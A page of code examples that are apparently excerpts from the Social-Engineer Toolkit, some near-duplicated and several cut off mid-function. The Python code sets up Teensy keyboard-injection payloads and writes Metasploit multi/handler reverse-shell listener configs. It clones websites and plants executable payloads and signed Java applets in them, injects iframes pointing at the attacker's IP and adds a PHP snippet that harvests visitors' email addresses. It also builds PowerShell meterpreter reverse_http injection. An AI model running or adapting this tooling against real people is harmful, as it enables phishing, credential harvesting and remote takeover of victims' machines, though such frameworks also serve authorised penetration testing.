コード例 #1
0
import os
import subprocess
from time import sleep

import src.core.setcore as core

# define metasploit path
definepath = os.getcwd()
msf_path = core.meta_path()
me = core.mod_name()
autorun_path = os.path.join(core.setdir, "autorun")

trigger = 0

if core.check_options("INFECTION_MEDIA=") == "ON":
    trigger = 1
    subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;"
                     "mkdir {0} 1> /dev/null 2> /dev/null;"
                     "cp {1} {2} 1> /dev/null 2> /dev/null".format(
                         autorun_path, os.path.join(core.setdir,
                                                    "payload.exe"),
                         os.path.join(autorun_path, "program.exe")),
                     shell=True).wait()

if os.path.isfile(os.path.join(core.setdir, "fileformat.file")):
    trigger = 2
    subprocess.Popen("rm -rf {0} 1> /dev/null 2> /dev/null;"
                     "mkdir {0} 1> /dev/null 2> /dev/null;"
                     "cp {1} {0} 1> /dev/null 2>/dev/null".format(
                         autorun_path, os.path.join(core.setdir,
コード例 #2
0
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
""")
print("[*] Payload has been extracted. Copying file to {0}".format(
    os.path.join(core.setdir + "reports/teensy.pde")))
if not os.path.isdir(os.path.join(core.setdir + "reports")):
    os.makedirs(os.path.join(core.setdir + "reports"))
with open(os.path.join(core.setdir + "/reports/teensy.pde", "w")) as filewrite:
    filewrite.write(teensy)
choice = core.yesno_prompt("0", "Do you want to start a listener [yes/no]: ")
if choice == "YES":

    # Open the IPADDR file
    if core.check_options("IPADDR=") != 0:
        ipaddr = core.check_options("IPADDR=")
    else:
        ipaddr = input(core.setprompt(["6"], "IP address to connect back on"))
        core.update_options("IPADDR=" + ipaddr)

    if core.check_options("PORT=") != 0:
        port = core.check_options("PORT=")

    else:
        port = input("Enter the port to connect back on: ")

    with open(os.path.join(core.setdir + "/metasploit.answers",
                           "w")) as filewrite:
        filewrite.write("use multi/handler\n"
                        "set payload {0}\n"
コード例 #3
0
    except ImportError:
        core.print_error("python-pexpect is not installed.. some things may not work.")
        core.return_continue()

# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
    input = raw_input
except NameError:
    pass

# see if we are tracking emails
track_email = core.check_config("TRACK_EMAIL_ADDRESSES=").lower()

# grab the randomized applet name
applet_name = core.check_options("APPLET_NAME=")
if applet_name == "":
    applet_name = core.generate_random_string(6, 15) + ".jar"
    core.update_options("APPLET_NAME=" + applet_name)

# define if we are using a custom payload
custom = 0
if core.check_options("CUSTOM_EXE="):
    custom = 1
    core.print_status("Note that since you are using a custom payload, you will need to create your OWN listener.")
    core.print_status("SET has no idea what type of payload you are using, so you will need to set this up manually.")
    core.print_status("If using a custom Metasploit payload, setup a multi/handler, etc. to capture the connection back.")

    # here we need to modify the java applet to recognize custom attribute
    with  open(os.path.join(core.setdir, "web_clone/index.html")) as fileopen:
        data = fileopen.read()
コード例 #4
0
def web_server_start():
    # define if use apache or not
    apache = False
    # open set_config here
    apache_check = core.check_config("APACHE_SERVER=").lower()
    if apache_check == "on" or track_email == "on":
        apache_path = core.check_config("APACHE_DIRECTORY=")
        if os.path.isdir(os.path.join(apache_path, "html")):
            os.path.join(apache_path, "html")
        apache = True
        if operating_system == "windows":
            apache = False

    # specify the web port
    web_port = core.check_config("WEB_PORT=")

    # see if exploit requires webdav
    if os.path.isfile(os.path.join(core.setdir, "meta_config")):
        with open(os.path.join(core.setdir, "meta_config")) as fileopen:
            for line in fileopen:
                line = line.rstrip()
                match = re.search("set SRVPORT 80", line)
                if match:
                    match2 = re.search("set SRVPORT 8080", line)
                    if not match2:
                        web_port = 8080

    # check ip address
    if core.check_options("IPADDR=") != 0:
        ipaddr = core.check_options("IPADDR=")
    else:
        ipaddr = input("Enter your ip address: ")

    # unless we create template  do self
    template = "SELF"
    # Grab custom or set defined
    if os.path.isfile(os.path.join(core.setdir, "site.template")):
        with open(core.setdir, "site.template") as fileopen:
            for line in fileopen:
                line = line.rstrip()
                template_match = re.search("TEMPLATE=", line)
                url_match = re.search("URL=", line)
                if url_match:
                    # define url to clone here
                    url = line.split("=")[1].rstrip()
                if template_match:
                    template = line.split("=")[1]

    # if attach vector isn't set just set a default template
    attack_vector = "nada"
    # grab web attack selection
    if os.path.isfile(os.path.join(core.setdir, "attack_vector")):
        with open(os.path.join(core.setdir, "attack_vector")) as fileopen:
            for line in fileopen:
                attack_vector = line.rstrip()

    # Sticking it to A/V below
    rand_gen = random_string()

    # check multiattack flags here
    multiattack_harv = "off"
    if os.path.isfile(os.path.join(core.setdir, "multi_harvester")):
        multiattack_harv = "on"
    if os.path.isfile(os.path.join(core.setdir, "/multi_tabnabbing")):
        multiattack_harv = "on"

    # If SET is setting up the website for you, get the website ready for
    # delivery
    if template == "SET":
        # change to that directory
        os.chdir("src/html/")
        # remove stale index.html files
        if os.path.isfile("index.html"):
            os.remove("index.html")
        # define files and get ipaddress set in index.html

        if attack_vector == "java":
            with open("index.template") as fileopen, \
                    open("index.html", "w") as filewrite:
                for line in fileopen:
                    match1 = re.search("msf.exe", line)
                    if match1:
                        line = line.replace("msf.exe", rand_gen)
                    match = re.search("ipaddrhere", line)
                    if match:
                        line = line.replace("ipaddrhere", ipaddr)
                    filewrite.write(line)
            # move random generated name
            shutil.copyfile("msf.exe", rand_gen)

        # define browser attack vector here
        if attack_vector == "browser":
            with open("index.template") as fileopen, \
                    open("index.html", "w") as filewrite:
                for line in fileopen:
                    counter = 0
                    match = re.search(applet_name, line)
                    if match:
                        line = line.replace(applet_name, "invalid.jar")
                        filewrite.write(line)
                        counter = 1
                    match2 = re.search("<head>", line)
                    if match2:
                        if web_port != 8080:
                            line = line.replace("<head>",
                                                '<head><iframe src ="http://{0}:8080/" width="100" height="100" scrolling="no"></iframe>'.format(ipaddr))
                            filewrite.write(line)
                            counter = 1
                        if web_port == 8080:
                            line = line.replace(
                                "<head>", '<head><iframe src = "http://{0}:80/" width="100" height="100" scrolling="no" ></iframe>'.format(ipaddr))
                            filewrite.write(line)
                            counter = 1
                    if counter == 0:
                        filewrite.write(line)

    if template == "CUSTOM" or template == "SELF":
        # Bring our files to our directory
        if attack_vector != 'hid' and attack_vector != 'hijacking':
            print(core.bcolors.YELLOW + "[*] Moving payload into cloned website." + core.bcolors.ENDC)
            # copy all the files needed
            if not os.path.isfile(os.path.join(core.setdir, applet_name)):
                shutil.copyfile(os.path.join(definepath, "src/html/Signed_Update.jar.orig"), os.path.join(core.setdir, applet_name))
            shutil.copyfile(os.path.join(core.setdir, applet_name), os.path.join(core.setdir, "web_clone", applet_name))
            if os.path.isfile(os.path.join(definepath, "src/html/nix.bin")):
                nix = core.check_options("NIX.BIN=")
                shutil.copyfile(os.path.join(definepath, "src/html/nix.bin"), os.path.join(core.setdir, "web_clone", nix))
            if os.path.isfile(os.path.join(definepath, "src/html/mac.bin")):
                mac = core.check_options("MAC.BIN=")
                shutil.copyfile(os.path.join(definepath, "src/html/mac.bin"), os.path.join(core.setdir, "web_clone", mac))
            if os.path.isfile(os.path.join(core.setdir, "msf.exe")):
                win = core.check_options("MSF.EXE=")
                shutil.copyfile(os.path.join(core.setdir, "msf.exe"), os.path.join(core.setdir, "web_clone", win))

            # pull random name generation
            core.print_status("The site has been moved. SET Web Server is now listening..")
            rand_gen = core.check_options("MSF_EXE=")
            if rand_gen:
                if os.path.isfile(os.path.join(core.setdir, "custom.exe")):
                    shutil.copyfile(os.path.join(core.setdir, "msf.exe"), os.path.join(core.setdir, "web_clone/msf.exe"))
                    print("\n[*] Website has been cloned and custom payload imported. Have someone browse your site now")
                shutil.copyfile(os.path.join(core.setdir, "web_clone/msf.exe"), os.path.join(core.setdir, "web_clone", rand_gen))

    # if docbase exploit do some funky stuff to get it to work right
    if os.path.isfile(os.path.join(core.setdir, "docbase.file")):
        docbase = (r"""<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
         "http://www.w3.org/TR/html4/frameset.dtd">
        <HTML>
        <HEAD>
        <TITLE></TITLE>
        </HEAD>
        <FRAMESET rows="99%%, 1%%">
        <FRAME src="site.html">
        <FRAME name=docbase noresize borders=0 scrolling=no src="http://{0}:8080">
        </FRAMESET>
        </HTML>""".format(ipaddr))
        if os.path.isfile(os.path.join(core.setdir, "web_clone/site.html")):
            os.remove(os.path.join(core.setdir, "web_clone/site.html"))
        shutil.copyfile(os.path.join(core.setdir, "web_clone/index.html"),
                        os.path.join(core.setdir, "web_clone/site.html"))
        with open(core.setdir + "/web_clone/index.html", "w") as filewrite:
            filewrite.write(docbase)

    ##########################################################################
    #
    # START WEB SERVER STUFF HERE
    #
    ##########################################################################

    if not apache:
        if multiattack_harv == 'off':
            try:
                # specify port listener here
                # specify the path for the SET web directories for the applet
                # attack
                path = os.path.join(core.setdir, "web_clone/")
                try:
                    import src.core.webserver as webserver
                    p = multiprocessing.Process(target=webserver.start_server, args=(web_port, path))
                    p.start()
                except:
                    thread.start_new_thread(webserver.start_server, (web_port, path))

            # Handle KeyboardInterrupt
            except KeyboardInterrupt:
                core.exit_set()

            # Handle Exceptions
            except Exception as e:
                core.log(e)
                print("{0}[!] ERROR: You probably have something running on port 80 already, Apache??"
                      "[!] There was an issue, printing error: {1}{2}".format(core.bcolors.RED, e, core.bcolors.ENDC))
                stop_apache = input("Attempt to stop Apache? y/n: ")
                if stop_apache == "yes" or stop_apache == "y" or stop_apache == "":
                    subprocess.Popen("/etc/init.d/apache2 stop", shell=True).wait()
                    try:
                        # specify port listener here
                        import src.core.webserver as webserver
                        # specify the path for the SET web directories for the
                        # applet attack
                        path = os.path.join(core.setdir + "web_clone")
                        p = multiprocessing.Process(target=webserver.start_server, args=(web_port, path))
                        p.start()

                    except:
                        print("{0}[!] UNABLE TO STOP APACHE! Exiting...{1}".format(core.bcolors.RED, core.bcolors.ENDC))
                        sys.exit()

            # if we are custom, put a pause here to not terminate thread on web
            # server
            if template == "CUSTOM" or template == "SELF":
                custom_exe = core.check_options("CUSTOM_EXE=")
                if custom_exe:
                    while True:
                        # try block inside of loop, if control-c detected, then
                        # exit
                        try:
                            core.print_warning("Note that if you are using a CUSTOM payload. YOU NEED TO CREATE A LISTENER!!!!!")
                            input("\n{0}[*] Web Server is listening. Press Control-C to exit.{1}".format(core.bcolors.GREEN, core.bcolors.ENDC))

                        # handle keyboard interrupt
                        except KeyboardInterrupt:
                            print("{0}[*] Returning to main menu.{1}".format(core.bcolors.GREEN, core.bcolors.ENDC))
                            break

    if apache:
        subprocess.Popen("cp {0} {apache_path};"
                         "cp {1} {apache_path};"
                         "cp {2} {apache_path};"
                         "cp {3} {apache_path};"
                         "cp {4} {apache_path}".format(os.path.join(definepath, "src/html/*.bin"),
                                                       os.path.join(definepath, "src/html/*.html"),
                                                       os.path.join(core.setdir, "web_clone/*"),
                                                       os.path.join(core.setdir, "msf.exe"),
                                                       os.path.join(core.setdir, "*.jar"),
                                                       apache_path=apache_path),
                         shell=True,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE).wait()

        # if we are tracking users
        if track_email == "on":
            now = datetime.datetime.today()
            with open(os.path.join(apache_path, "harvester_{}.txt".format(now)), 'w') as filewrite:
                filewrite.write("")
            subprocess.Popen("chown www-data:www-data '{0}'".format(os.path.join(apache_path, "harvester_{}.txt".format(now))), shell=True).wait()
            # here we specify if we are tracking users and such
            with open(os.path.join(apache_path, "index.html")) as fileopen:
                data = fileopen.read()
            data = data.replace("<body>",
                                "<body>"
                                "<?php $file = 'harvester_{0}.txt'; $queryString = ''; foreach ($_GET as $key => $value) {{ $queryString .= $key . '=' . $value . '&';}}$query_string = base64_decode($queryString);file_put_contents($file, print_r(\"Email address recorded: \" . $query_string . \"\\n\", true), FILE_APPEND);?>\n"
                                "/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */".format(now))
            with open(os.path.join(apache_path, "index.php"), "w") as filewrite:
                filewrite.write(data)
            core.print_status("All files have been copied to {}".format(apache_path))

    ##########################################################################
    #
    # END WEB SERVER STUFF HERE
    #
    ##########################################################################

    if operating_system != "windows":
        # Grab metaspoit path
        msf_path = core.meta_path()
コード例 #5
0
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
""" % (core.powershell_encodedcommand())
print("[*] Payload has been extracted. Copying file to {0}".format(os.path.join(core.setdir + "reports/teensy.ino")))
if not os.path.isdir(os.path.join(core.setdir + "reports")):
    os.makedirs(os.path.join(core.setdir + "reports"))
with open(os.path.join(core.setdir + "reports/teensy.ino"), "w") as filewrite:
    filewrite.write(teensy)
choice = core.yesno_prompt("0", "Do you want to start a listener [yes/no] ")
if choice == "YES":

    # Open the IPADDR file
    if core.check_options("IPADDR=") != 0:
        ipaddr = core.check_options("IPADDR=")
    else:
        ipaddr = input("LHOST IP address to connect back on: ")
        core.update_options("IPADDR=" + ipaddr)

    if core.check_options("PORT=") != 0:
        port = core.check_options("PORT=")

    else:
        port = input("Enter the port to connect back on: ")

    with open(os.path.join(core.setdir + "metasploit.answers"), "w") as filewrite:
        filewrite.write("use multi/handler\n"
                        "set payload {0}\n"
                        "set LHOST {1}\n"
コード例 #6
0
with open(os.path.join(core.userconfigpath, "teensy")) as fileopen:
    counter = 0
    payload_counter = 0
    choice = None
    for line in fileopen:
        line = line.rstrip()
        if counter == 0:
            choice = str(line)
        if counter == 1:
            payload_counter = 1
        counter += 1

    if choice != "14":
        # Open the IPADDR file
        if core.check_options("IPADDR=") != 0:
            ipaddr = core.check_options("IPADDR=")
        else:
            ipaddr = input(
                core.setprompt(["6"], "IP address to connect back on"))
            core.update_options("IPADDR=" + ipaddr)

    if not os.path.isfile(os.path.join(core.userconfigpath, "teensy")):
        core.print_error(
            "FATAL:Something went wrong, the Teensy config file was not created."
        )
        core.exit_set()


def writefile(filename, now):
    with open(os.path.join("src/teensy/" + filename)) as fileopen, \
コード例 #7
0
with open(os.path.join(core.setdir + "teensy")) as fileopen:
    counter = 0
    payload_counter = 0
    choice = None
    for line in fileopen:
        line = line.rstrip()
        if counter == 0:
            choice = str(line)
        if counter == 1:
            payload_counter = 1
        counter += 1

    if choice != "14":
        # Open the IPADDR file
        if core.check_options("IPADDR=") != 0:
            ipaddr = core.check_options("IPADDR=")
        else:
            ipaddr = input(core.setprompt(["6"], "IP address to connect back on"))
            core.update_options("IPADDR=" + ipaddr)

    if not os.path.isfile(os.path.join(core.setdir + "teensy")):
        core.print_error("FATAL:Something went wrong, the Teensy config file was not created.")
        core.exit_set()


def writefile(filename, now):
    with open(os.path.join("src/teensy/" + filename)) as fileopen, \
            open(os.path.join(core.setdir + "/reports/teensy_{0}.pde".format(now)), "w") as filewrite:

        for line in fileopen:
コード例 #8
0
def web_server_start():
    # define if use apache or not
    apache = False
    # open set_config here
    apache_check = core.check_config("APACHE_SERVER=").lower()
    if apache_check == "on" or track_email == "on":
        apache_path = core.check_config("APACHE_DIRECTORY=")
        if os.path.isdir(os.path.join(apache_path, "html")):
            os.path.join(apache_path, "html")
        apache = True
        if operating_system == "windows":
            apache = False

    # specify the web port
    web_port = core.check_config("WEB_PORT=")

    # see if exploit requires webdav
    if os.path.isfile(os.path.join(core.setdir, "meta_config")):
        with open(os.path.join(core.setdir, "meta_config")) as fileopen:
            for line in fileopen:
                line = line.rstrip()
                match = re.search("set SRVPORT 80", line)
                if match:
                    match2 = re.search("set SRVPORT 8080", line)
                    if not match2:
                        web_port = 8080

    # check ip address
    if core.check_options("IPADDR=") != 0:
        ipaddr = core.check_options("IPADDR=")
    else:
        ipaddr = input("Enter your ip address: ")

    # unless we create template  do self
    template = "SELF"
    # Grab custom or set defined
    if os.path.isfile(os.path.join(core.setdir, "site.template")):
        with open(core.setdir, "site.template") as fileopen:
            for line in fileopen:
                line = line.rstrip()
                template_match = re.search("TEMPLATE=", line)
                url_match = re.search("URL=", line)
                if url_match:
                    # define url to clone here
                    url = line.split("=")[1].rstrip()
                if template_match:
                    template = line.split("=")[1]

    # if attach vector isn't set just set a default template
    attack_vector = "nada"
    # grab web attack selection
    if os.path.isfile(os.path.join(core.setdir, "attack_vector")):
        with open(os.path.join(core.setdir, "attack_vector")) as fileopen:
            for line in fileopen:
                attack_vector = line.rstrip()

    # Sticking it to A/V below
    rand_gen = random_string()

    # check multiattack flags here
    multiattack_harv = "off"
    if os.path.isfile(os.path.join(core.setdir, "multi_harvester")):
        multiattack_harv = "on"
    if os.path.isfile(os.path.join(core.setdir, "/multi_tabnabbing")):
        multiattack_harv = "on"

    # If SET is setting up the website for you, get the website ready for
    # delivery
    if template == "SET":
        # change to that directory
        os.chdir("src/html/")
        # remove stale index.html files
        if os.path.isfile("index.html"):
            os.remove("index.html")
        # define files and get ipaddress set in index.html

        if attack_vector == "java":
            with open("index.template") as fileopen, \
                    open("index.html", "w") as filewrite:
                for line in fileopen:
                    match1 = re.search("msf.exe", line)
                    if match1:
                        line = line.replace("msf.exe", rand_gen)
                    match = re.search("ipaddrhere", line)
                    if match:
                        line = line.replace("ipaddrhere", ipaddr)
                    filewrite.write(line)
            # move random generated name
            shutil.copyfile("msf.exe", rand_gen)

        # define browser attack vector here
        if attack_vector == "browser":
            with open("index.template") as fileopen, \
                    open("index.html", "w") as filewrite:
                for line in fileopen:
                    counter = 0
                    match = re.search(applet_name, line)
                    if match:
                        line = line.replace(applet_name, "invalid.jar")
                        filewrite.write(line)
                        counter = 1
                    match2 = re.search("<head>", line)
                    if match2:
                        if web_port != 8080:
                            line = line.replace(
                                "<head>",
                                '<head><iframe src ="http://{0}:8080/" width="100" height="100" scrolling="no"></iframe>'
                                .format(ipaddr))
                            filewrite.write(line)
                            counter = 1
                        if web_port == 8080:
                            line = line.replace(
                                "<head>",
                                '<head><iframe src = "http://{0}:80/" width="100" height="100" scrolling="no" ></iframe>'
                                .format(ipaddr))
                            filewrite.write(line)
                            counter = 1
                    if counter == 0:
                        filewrite.write(line)

    if template == "CUSTOM" or template == "SELF":
        # Bring our files to our directory
        if attack_vector != 'hid' and attack_vector != 'hijacking':
            print(core.bcolors.YELLOW +
                  "[*] Moving payload into cloned website." +
                  core.bcolors.ENDC)
            # copy all the files needed
            if not os.path.isfile(os.path.join(core.setdir, applet_name)):
                shutil.copyfile(
                    os.path.join(definepath,
                                 "src/html/Signed_Update.jar.orig"),
                    os.path.join(core.setdir, applet_name))
            shutil.copyfile(
                os.path.join(core.setdir, applet_name),
                os.path.join(core.setdir, "web_clone", applet_name))
            if os.path.isfile(os.path.join(definepath, "src/html/nix.bin")):
                nix = core.check_options("NIX.BIN=")
                shutil.copyfile(os.path.join(definepath, "src/html/nix.bin"),
                                os.path.join(core.setdir, "web_clone", nix))
            if os.path.isfile(os.path.join(definepath, "src/html/mac.bin")):
                mac = core.check_options("MAC.BIN=")
                shutil.copyfile(os.path.join(definepath, "src/html/mac.bin"),
                                os.path.join(core.setdir, "web_clone", mac))
            if os.path.isfile(os.path.join(core.setdir, "msf.exe")):
                win = core.check_options("MSF.EXE=")
                shutil.copyfile(os.path.join(core.setdir, "msf.exe"),
                                os.path.join(core.setdir, "web_clone", win))

            # pull random name generation
            core.print_status(
                "The site has been moved. SET Web Server is now listening..")
            rand_gen = core.check_options("MSF_EXE=")
            if rand_gen:
                if os.path.isfile(os.path.join(core.setdir, "custom.exe")):
                    shutil.copyfile(
                        os.path.join(core.setdir, "msf.exe"),
                        os.path.join(core.setdir, "web_clone/msf.exe"))
                    print(
                        "\n[*] Website has been cloned and custom payload imported. Have someone browse your site now"
                    )
                shutil.copyfile(
                    os.path.join(core.setdir, "web_clone/msf.exe"),
                    os.path.join(core.setdir, "web_clone", rand_gen))

    # if docbase exploit do some funky stuff to get it to work right
    if os.path.isfile(os.path.join(core.setdir, "docbase.file")):
        docbase = (
            r"""<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
         "http://www.w3.org/TR/html4/frameset.dtd">
        <HTML>
        <HEAD>
        <TITLE></TITLE>
        </HEAD>
        <FRAMESET rows="99%%, 1%%">
        <FRAME src="site.html">
        <FRAME name=docbase noresize borders=0 scrolling=no src="http://{0}:8080">
        </FRAMESET>
        </HTML>""".format(ipaddr))
        if os.path.isfile(os.path.join(core.setdir, "web_clone/site.html")):
            os.remove(os.path.join(core.setdir, "web_clone/site.html"))
        shutil.copyfile(os.path.join(core.setdir, "web_clone/index.html"),
                        os.path.join(core.setdir, "web_clone/site.html"))
        with open(core.setdir + "/web_clone/index.html", "w") as filewrite:
            filewrite.write(docbase)

    ##########################################################################
    #
    # START WEB SERVER STUFF HERE
    #
    ##########################################################################

    if not apache:
        if multiattack_harv == 'off':
            try:
                # specify port listener here
                # specify the path for the SET web directories for the applet
                # attack
                path = os.path.join(core.setdir, "web_clone/")
                try:
                    import src.core.webserver as webserver
                    p = multiprocessing.Process(target=webserver.start_server,
                                                args=(web_port, path))
                    p.start()
                except:
                    thread.start_new_thread(webserver.start_server,
                                            (web_port, path))

            # Handle KeyboardInterrupt
            except KeyboardInterrupt:
                core.exit_set()

            # Handle Exceptions
            except Exception as e:
                core.log(e)
                print(
                    "{0}[!] ERROR: You probably have something running on port 80 already, Apache??"
                    "[!] There was an issue, printing error: {1}{2}".format(
                        core.bcolors.RED, e, core.bcolors.ENDC))
                stop_apache = input("Attempt to stop Apache? y/n: ")
                if stop_apache == "yes" or stop_apache == "y" or stop_apache == "":
                    subprocess.Popen("/etc/init.d/apache2 stop",
                                     shell=True).wait()
                    try:
                        # specify port listener here
                        import src.core.webserver as webserver
                        # specify the path for the SET web directories for the
                        # applet attack
                        path = os.path.join(core.setdir + "web_clone")
                        p = multiprocessing.Process(
                            target=webserver.start_server,
                            args=(web_port, path))
                        p.start()

                    except:
                        print("{0}[!] UNABLE TO STOP APACHE! Exiting...{1}".
                              format(core.bcolors.RED, core.bcolors.ENDC))
                        sys.exit()

            # if we are custom, put a pause here to not terminate thread on web
            # server
            if template == "CUSTOM" or template == "SELF":
                custom_exe = core.check_options("CUSTOM_EXE=")
                if custom_exe:
                    while True:
                        # try block inside of loop, if control-c detected, then
                        # exit
                        try:
                            core.print_warning(
                                "Note that if you are using a CUSTOM payload. YOU NEED TO CREATE A LISTENER!!!!!"
                            )
                            input(
                                "\n{0}[*] Web Server is listening. Press Control-C to exit.{1}"
                                .format(core.bcolors.GREEN, core.bcolors.ENDC))

                        # handle keyboard interrupt
                        except KeyboardInterrupt:
                            print("{0}[*] Returning to main menu.{1}".format(
                                core.bcolors.GREEN, core.bcolors.ENDC))
                            break

    if apache:
        subprocess.Popen("cp {0} {apache_path};"
                         "cp {1} {apache_path};"
                         "cp {2} {apache_path};"
                         "cp {3} {apache_path};"
                         "cp {4} {apache_path}".format(
                             os.path.join(definepath, "src/html/*.bin"),
                             os.path.join(definepath, "src/html/*.html"),
                             os.path.join(core.setdir, "web_clone/*"),
                             os.path.join(core.setdir, "msf.exe"),
                             os.path.join(core.setdir, "*.jar"),
                             apache_path=apache_path),
                         shell=True,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE).wait()

        # if we are tracking users
        if track_email == "on":
            now = datetime.datetime.today()
            with open(
                    os.path.join(apache_path, "harvester_{}.txt".format(now)),
                    'w') as filewrite:
                filewrite.write("")
            subprocess.Popen("chown www-data:www-data '{0}'".format(
                os.path.join(apache_path, "harvester_{}.txt".format(now))),
                             shell=True).wait()
            # here we specify if we are tracking users and such
            with open(os.path.join(apache_path, "index.html")) as fileopen:
                data = fileopen.read()
            data = data.replace(
                "<body>", "<body>"
                "<?php $file = 'harvester_{0}.txt'; $queryString = ''; foreach ($_GET as $key => $value) {{ $queryString .= $key . '=' . $value . '&';}}$query_string = base64_decode($queryString);file_put_contents($file, print_r(\"Email address recorded: \" . $query_string . \"\\n\", true), FILE_APPEND);?>\n"
                "/* If you are just seeing plain text you need to install php5 for apache apt-get install libapache2-mod-php5 */"
                .format(now))
            with open(os.path.join(apache_path, "index.php"),
                      "w") as filewrite:
                filewrite.write(data)
            core.print_status(
                "All files have been copied to {}".format(apache_path))

    ##########################################################################
    #
    # END WEB SERVER STUFF HERE
    #
    ##########################################################################

    if operating_system != "windows":
        # Grab metaspoit path
        msf_path = core.meta_path()
コード例 #9
0
        core.print_error(
            "python-pexpect is not installed.. some things may not work.")
        core.return_continue()

# Py2/3 compatibility
# Python3 renamed raw_input to input
try:
    input = raw_input
except NameError:
    pass

# see if we are tracking emails
track_email = core.check_config("TRACK_EMAIL_ADDRESSES=").lower()

# grab the randomized applet name
applet_name = core.check_options("APPLET_NAME=")
if applet_name == "":
    applet_name = core.generate_random_string(6, 15) + ".jar"
    core.update_options("APPLET_NAME=" + applet_name)

# define if we are using a custom payload
custom = 0
if core.check_options("CUSTOM_EXE="):
    custom = 1
    core.print_status(
        "Note that since you are using a custom payload, you will need to create your OWN listener."
    )
    core.print_status(
        "SET has no idea what type of payload you are using, so you will need to set this up manually."
    )
    core.print_status(
コード例 #10
0
def prep_powershell_payload():

    # grab stage encoding flag
    stage_encoding = core.check_config("STAGE_ENCODING=").lower()
    if stage_encoding == "off":
        stage_encoding = "false"
    else:
        stage_encoding = "true"

    # check to see if we are just generating powershell code
    powershell_solo = core.check_options("POWERSHELL_SOLO")

    # check if port is there
    port = core.check_options("PORT=")

    # check if we are using auto_migrate
    auto_migrate = core.check_config("AUTO_MIGRATE=")

    # check if we are using pyinjection
    pyinjection = core.check_options("PYINJECTION=")
    if pyinjection == "ON":
        # check to ensure that the payload options were specified right
        if os.path.isfile(os.path.join(core.setdir, "payload_options.shellcode")):
            pyinjection = "on"
            core.print_status("Multi/Pyinjection was specified. Overriding config options.")
        else:
            pyinjection = "off"

    # grab ipaddress
    if core.check_options("IPADDR=") != 0:
        ipaddr = core.check_options("IPADDR=")
    else:
        ipaddr = input("Enter the ipaddress for the reverse connection: ")
        core.update_options("IPADDR=" + ipaddr)

    # check to see if we are using multi powershell injection
    multi_injection = core.check_config("POWERSHELL_MULTI_INJECTION=").lower()

    # turn off multi injection if pyinjection is specified
    if pyinjection == "on":
        multi_injection = "off"

    # check what payloads we are using
    powershell_inject_x86 = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=")

    # if we specified a hostname then default to reverse https/http
    if not core.validate_ip(ipaddr):
        powershell_inject_x86 = "windows/meterpreter/reverse_http"

    # prompt what port to listen on for powershell then make an append to the current
    # metasploit answer file
    if os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
        # if we have multi injection on, don't worry about these
        if multi_injection != "on" and pyinjection == "off":
            core.print_status("POWERSHELL_INJECTION is set to ON with multi-pyinjector")
            port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
            if not port:
                port = "443"
            with open(os.path.join(core.setdir, "meta_config_multipyinjector")) as fileopen:
                data = fileopen.read()
            match = re.search(port, data)
            if not match:
                with open(os.path.join(core.setdir, "meta_config_multipyinjector"), "a") as filewrite:
                    filewrite.write("\nuse exploit/multi/handler\n")
                    if auto_migrate == "ON":
                        filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
                    filewrite.write("set PAYLOAD {0}\n"
                                    "set LHOST {1}\n"
                                    "set LPORT {2}\n"
                                    "set EnableStageEncoding {3}\n"
                                    "set ExitOnSession false\n"
                                    "exploit -j\n".format(powershell_inject_x86, ipaddr, port, stage_encoding))

    # if we have multi injection on, don't worry about these
    if multi_injection != "on" and pyinjection == "off":
        # check to see if the meta config multi pyinjector is there
        if not os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
            if core.check_options("PORT=") != 0:
                port = core.check_options("PORT=")
            # if port.options isnt there then prompt
            else:
                port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
                if not port:
                    port = "443"
                core.update_options("PORT={0}".format(port))

    # turn off multi_injection if we are riding solo from the powershell menu
    if powershell_solo == "ON":
        multi_injection = "off"
        pyinjection = "on"

    # if we are using multi powershell injection
    if multi_injection == "on" and pyinjection == "off":
        core.print_status("Multi-Powershell-Injection is set to ON, this should be sweet...")

    # define a base variable
    x86 = ""

    # specify a list we will use for later
    multi_injection_x86 = ""

    # here we do some funky loops so we don't need to rewrite the code below
    if multi_injection == "on":
        port = core.check_config("POWERSHELL_MULTI_PORTS=")
        port = port.split(",")

    if multi_injection == "on":
        # iterate through the ports, used for POWERSHELL_MULTI_PORTS
        for ports in port:
            # dont cycle through if theres a blank
            if ports:
                core.print_status("Generating x86-based powershell injection code for port: {0}".format(ports))
                multi_injection_x86 = multi_injection_x86 + "," + core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, ports, x86)

                if os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
                    port_check = core.check_ports(os.path.join(core.setdir, "meta_config_multipyinjector"), ports)
                    if not port_check:
                        with open(os.path.join(core.setdir, "meta_config_multipyinjector"), "a") as filewrite:
                            filewrite.write("\nuse exploit/multi/handler\n")
                            if auto_migrate == "ON":
                                filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
                            filewrite.write("set PAYLOAD {0}\n"
                                            "set LHOST {1}\n"
                                            "set EnableStageEncoding {2}\n"
                                            "set LPORT {3}\n"
                                            "set ExitOnSession false\n"
                                            "exploit -j\n\n".format(powershell_inject_x86, ipaddr, stage_encoding, ports))

                # if we aren't using multi pyinjector
                if not os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
                    # if meta config isn't created yet then create it
                    if not os.path.isfile():
                        with open(os.path.join(core.setdir, "meta_config"), "w") as filewrite:
                            filewrite.write("")
                    port_check = core.check_ports(os.path.join(core.setdir, "meta_config"), ports)
                    if not port_check:
                        with open(os.path.join(core.setdir, "meta_config"), "a") as filewrite:
                            filewrite.write("\nuse exploit/multi/handler\n")
                            if auto_migrate == "ON":
